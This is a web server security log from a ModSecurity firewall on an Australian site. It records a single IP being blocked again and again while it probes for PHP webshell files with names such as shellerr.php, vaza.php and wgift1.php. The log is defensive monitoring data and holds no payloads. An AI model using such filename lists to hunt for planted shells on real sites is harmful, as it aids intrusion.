[Tue Mar 31 00:22:38.063321 2026] [:error] [pid 60835:tid 60853] [client 4.205.211.88:39692] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acqjTgIOJ4Lc0iJVRzwYVgAAABA"]
[Tue Mar 31 00:22:38.476937 2026] [:error] [pid 60835:tid 60843] [client 4.205.211.88:39853] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acqjTgIOJ4Lc0iJVRzwYWQAAAAY"]
[Tue Mar 31 00:22:38.893021 2026] [:error] [pid 60746:tid 60783] [client 4.205.211.88:39715] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acqjTp4kQrgjDdAbQCpG9wAAAIc"]
[Tue Mar 31 00:22:39.310136 2026] [:error] [pid 31735:tid 31754] [client 4.205.211.88:39775] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acqjTz-CFgIllBeFWWFOpQAAAlE"]
[Tue Mar 31 00:22:39.722138 2026] [:error] [pid 63557:tid 63572] [client 4.205.211.88:39773] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vaza.php"] [unique_id "acqjT64QNVlzYgEvIjnkuQAAAQ0"]
[Tue Mar 31 00:22:40.133967 2026] [:error] [pid 60747:tid 60814] [client 4.205.211.88:39772] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vaza.php"] [unique_id "acqjUAU3IY-cCpy_-zFeWwAAAMs"]
[Tue Mar 31 00:22:40.561214 2026] [:error] [pid 31735:tid 31743] [client 4.205.211.88:39681] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vaza.php"] [unique_id "acqjUD-CFgIllBeFWWFOpwAAAkY"]
[Tue Mar 31 00:22:40.985095 2026] [:error] [pid 60835:tid 60845] [client 4.205.211.88:39843] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vaza.php"] [unique_id "acqjUAIOJ4Lc0iJVRzwYXAAAAAg"]
[Tue Mar 31 00:22:46.805864 2026] [:error] [pid 60747:tid 60814] [client 4.205.211.88:39842] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "acqjVgU3IY-cCpy_-zFebAAAAMs"]
[Tue Mar 31 00:22:47.216058 2026] [:error] [pid 60835:tid 60838] [client 4.205.211.88:39687] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "acqjVwIOJ4Lc0iJVRzwYbgAAAAE"]
[Tue Mar 31 00:22:47.633339 2026] [:error] [pid 31705:tid 31708] [client 4.205.211.88:39769] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "acqjV7h0Asyt0lXzJSw7egAAAgE"]
[Tue Mar 31 00:22:48.052766 2026] [:error] [pid 60835:tid 60839] [client 4.205.211.88:39748] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "acqjWAIOJ4Lc0iJVRzwYcAAAAAI"]
[Tue Mar 31 00:22:48.464987 2026] [:error] [pid 60746:tid 60779] [client 4.205.211.88:39794] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acqjWJ4kQrgjDdAbQCpHBwAAAIM"]
[Tue Mar 31 00:22:48.882403 2026] [:error] [pid 60746:tid 60795] [client 4.205.211.88:39697] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acqjWJ4kQrgjDdAbQCpHCwAAAJM"]
[Tue Mar 31 00:22:49.297900 2026] [:error] [pid 60745:tid 60769] [client 4.205.211.88:39852] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acqjWSQDBn75QnHaPb9m3QAAAFQ"]
[Tue Mar 31 00:22:49.715039 2026] [:error] [pid 31735:tid 31760] [client 4.205.211.88:39685] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "acqjWT-CFgIllBeFWWFOsQAAAlc"]
[Tue Mar 31 00:22:50.137751 2026] [:error] [pid 31735:tid 31743] [client 4.205.211.88:39719] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n1GiO.php"] [unique_id "acqjWj-CFgIllBeFWWFOsgAAAkY"]
[Tue Mar 31 00:22:50.558149 2026] [:error] [pid 60835:tid 60840] [client 4.205.211.88:39760] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n1GiO.php"] [unique_id "acqjWgIOJ4Lc0iJVRzwYcgAAAAM"]
[Tue Mar 31 00:22:50.988811 2026] [:error] [pid 31705:tid 31723] [client 4.205.211.88:39754] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n1GiO.php"] [unique_id "acqjWrh0Asyt0lXzJSw7fgAAAhA"]
[Tue Mar 31 00:22:51.402397 2026] [:error] [pid 31705:tid 31719] [client 4.205.211.88:39778] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n1GiO.php"] [unique_id "acqjW7h0Asyt0lXzJSw7gQAAAgw"]
[Tue Mar 31 00:22:51.814835 2026] [:error] [pid 60835:tid 60848] [client 4.205.211.88:39830] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pLdK1.php"] [unique_id "acqjWwIOJ4Lc0iJVRzwYdAAAAAs"]
[Tue Mar 31 00:22:52.227264 2026] [:error] [pid 31705:tid 31716] [client 4.205.211.88:39782] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pLdK1.php"] [unique_id "acqjXLh0Asyt0lXzJSw7hwAAAgk"]
[Tue Mar 31 00:22:52.640873 2026] [:error] [pid 31544:tid 31564] [client 4.205.211.88:39779] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pLdK1.php"] [unique_id "acqjXNtfPe4lu-8385d7ewAAAVI"]
[Tue Mar 31 00:22:53.055619 2026] [:error] [pid 60746:tid 60792] [client 4.205.211.88:39699] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pLdK1.php"] [unique_id "acqjXZ4kQrgjDdAbQCpHEAAAAJA"]
[Tue Mar 31 00:22:53.470740 2026] [:error] [pid 31544:tid 31568] [client 4.205.211.88:39801] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/llb1J.php"] [unique_id "acqjXdtfPe4lu-8385d7fQAAAVY"]
[Tue Mar 31 00:22:53.889066 2026] [:error] [pid 31735:tid 31755] [client 4.205.211.88:39787] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/llb1J.php"] [unique_id "acqjXT-CFgIllBeFWWFOtQAAAlI"]
[Tue Mar 31 00:22:54.303075 2026] [:error] [pid 60746:tid 60780] [client 4.205.211.88:39721] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/llb1J.php"] [unique_id "acqjXp4kQrgjDdAbQCpHEgAAAIQ"]
[Tue Mar 31 00:22:54.715692 2026] [:error] [pid 60746:tid 60788] [client 4.205.211.88:39686] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/llb1J.php"] [unique_id "acqjXp4kQrgjDdAbQCpHFAAAAIw"]
[Tue Mar 31 00:22:55.129082 2026] [:error] [pid 60746:tid 60799] [client 4.205.211.88:39680] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jeZDu.php"] [unique_id "acqjX54kQrgjDdAbQCpHFQAAAJc"]
[Tue Mar 31 00:22:55.540564 2026] [:error] [pid 31577:tid 31591] [client 4.205.211.88:39717] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jeZDu.php"] [unique_id "acqjX3OcPMUnrUQjB4Jc5gAAAYw"]
[Tue Mar 31 00:22:55.952250 2026] [:error] [pid 60745:tid 60753] [client 4.205.211.88:39883] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jeZDu.php"] [unique_id "acqjXyQDBn75QnHaPb9m4gAAAEQ"]
[Tue Mar 31 00:22:56.379011 2026] [:error] [pid 31577:tid 31595] [client 4.205.211.88:39854] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jeZDu.php"] [unique_id "acqjYHOcPMUnrUQjB4Jc6QAAAZA"]
[Tue Mar 31 00:22:56.790380 2026] [:error] [pid 60746:tid 60778] [client 4.205.211.88:39750] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acqjYJ4kQrgjDdAbQCpHFwAAAII"]
[Tue Mar 31 00:22:57.203349 2026] [:error] [pid 63557:tid 63578] [client 4.205.211.88:39840] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acqjYa4QNVlzYgEvIjnkwAAAARM"]
[Tue Mar 31 00:22:57.619427 2026] [:error] [pid 31705:tid 31724] [client 4.205.211.88:39795] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acqjYbh0Asyt0lXzJSw7iQAAAhE"]
[Tue Mar 31 00:22:58.031337 2026] [:error] [pid 31577:tid 31584] [client 4.205.211.88:39713] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "acqjYnOcPMUnrUQjB4Jc7QAAAYU"]
[Tue Mar 31 00:22:58.470131 2026] [:error] [pid 31577:tid 31602] [client 4.205.211.88:39752] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfuKK.php"] [unique_id "acqjYnOcPMUnrUQjB4Jc7wAAAZc"]
[Tue Mar 31 00:22:58.896317 2026] [:error] [pid 31577:tid 31594] [client 4.205.211.88:39766] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfuKK.php"] [unique_id "acqjYnOcPMUnrUQjB4Jc8AAAAY8"]
[Tue Mar 31 00:22:59.315320 2026] [:error] [pid 60746:tid 60800] [client 4.205.211.88:39800] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfuKK.php"] [unique_id "acqjY54kQrgjDdAbQCpHGgAAAJg"]
[Tue Mar 31 00:22:59.739652 2026] [:error] [pid 31577:tid 31591] [client 4.205.211.88:39812] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfuKK.php"] [unique_id "acqjY3OcPMUnrUQjB4Jc8wAAAYw"]
[Tue Mar 31 00:23:00.158483 2026] [:error] [pid 31577:tid 31593] [client 4.205.211.88:39774] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OpVq6.php"] [unique_id "acqjZHOcPMUnrUQjB4Jc9QAAAY4"]
[Tue Mar 31 00:23:00.587107 2026] [:error] [pid 63557:tid 63581] [client 4.205.211.88:39841] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OpVq6.php"] [unique_id "acqjZK4QNVlzYgEvIjnkwgAAARY"]
[Tue Mar 31 00:23:01.012021 2026] [:error] [pid 31577:tid 31599] [client 4.205.211.88:39844] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OpVq6.php"] [unique_id "acqjZXOcPMUnrUQjB4Jc-wAAAZQ"]
[Tue Mar 31 00:23:01.436069 2026] [:error] [pid 31577:tid 31584] [client 4.205.211.88:39798] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OpVq6.php"] [unique_id "acqjZXOcPMUnrUQjB4Jc_AAAAYU"]
[Tue Mar 31 00:23:01.876244 2026] [:error] [pid 60746:tid 60792] [client 4.205.211.88:39744] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rmpoa.php"] [unique_id "acqjZZ4kQrgjDdAbQCpHHgAAAJA"]
[Tue Mar 31 00:23:02.291402 2026] [:error] [pid 60746:tid 60783] [client 4.205.211.88:39704] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rmpoa.php"] [unique_id "acqjZp4kQrgjDdAbQCpHHwAAAIc"]
[Tue Mar 31 00:23:02.717587 2026] [:error] [pid 60745:tid 60771] [client 4.205.211.88:39896] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rmpoa.php"] [unique_id "acqjZiQDBn75QnHaPb9m7QAAAFY"]
[Tue Mar 31 00:23:03.142667 2026] [:error] [pid 60746:tid 60781] [client 4.205.211.88:39846] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rmpoa.php"] [unique_id "acqjZ54kQrgjDdAbQCpHIQAAAIU"]
[Tue Mar 31 00:23:03.565143 2026] [:error] [pid 31544:tid 31556] [client 4.205.211.88:39683] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acqjZ9tfPe4lu-8385d7gwAAAUo"]
[Tue Mar 31 00:23:04.043977 2026] [:error] [pid 31705:tid 31730] [client 4.205.211.88:39777] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acqjaLh0Asyt0lXzJSw7jAAAAhc"]
[Tue Mar 31 00:23:04.471679 2026] [:error] [pid 31544:tid 31561] [client 4.205.211.88:39860] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acqjaNtfPe4lu-8385d7hAAAAU8"]
[Tue Mar 31 00:23:04.886924 2026] [:error] [pid 31577:tid 31594] [client 4.205.211.88:39911] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acqjaHOcPMUnrUQjB4JdCAAAAY8"]
[Tue Mar 31 00:23:05.307013 2026] [:error] [pid 31544:tid 31558] [client 4.205.211.88:39900] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acqjadtfPe4lu-8385d7hQAAAUw"]
[Tue Mar 31 00:23:05.774023 2026] [:error] [pid 31577:tid 31579] [client 4.205.211.88:39696] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acqjaXOcPMUnrUQjB4JdCwAAAYA"]
[Tue Mar 31 00:23:06.202466 2026] [:error] [pid 60835:tid 60843] [client 4.205.211.88:39789] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acqjagIOJ4Lc0iJVRzwYfgAAAAY"]
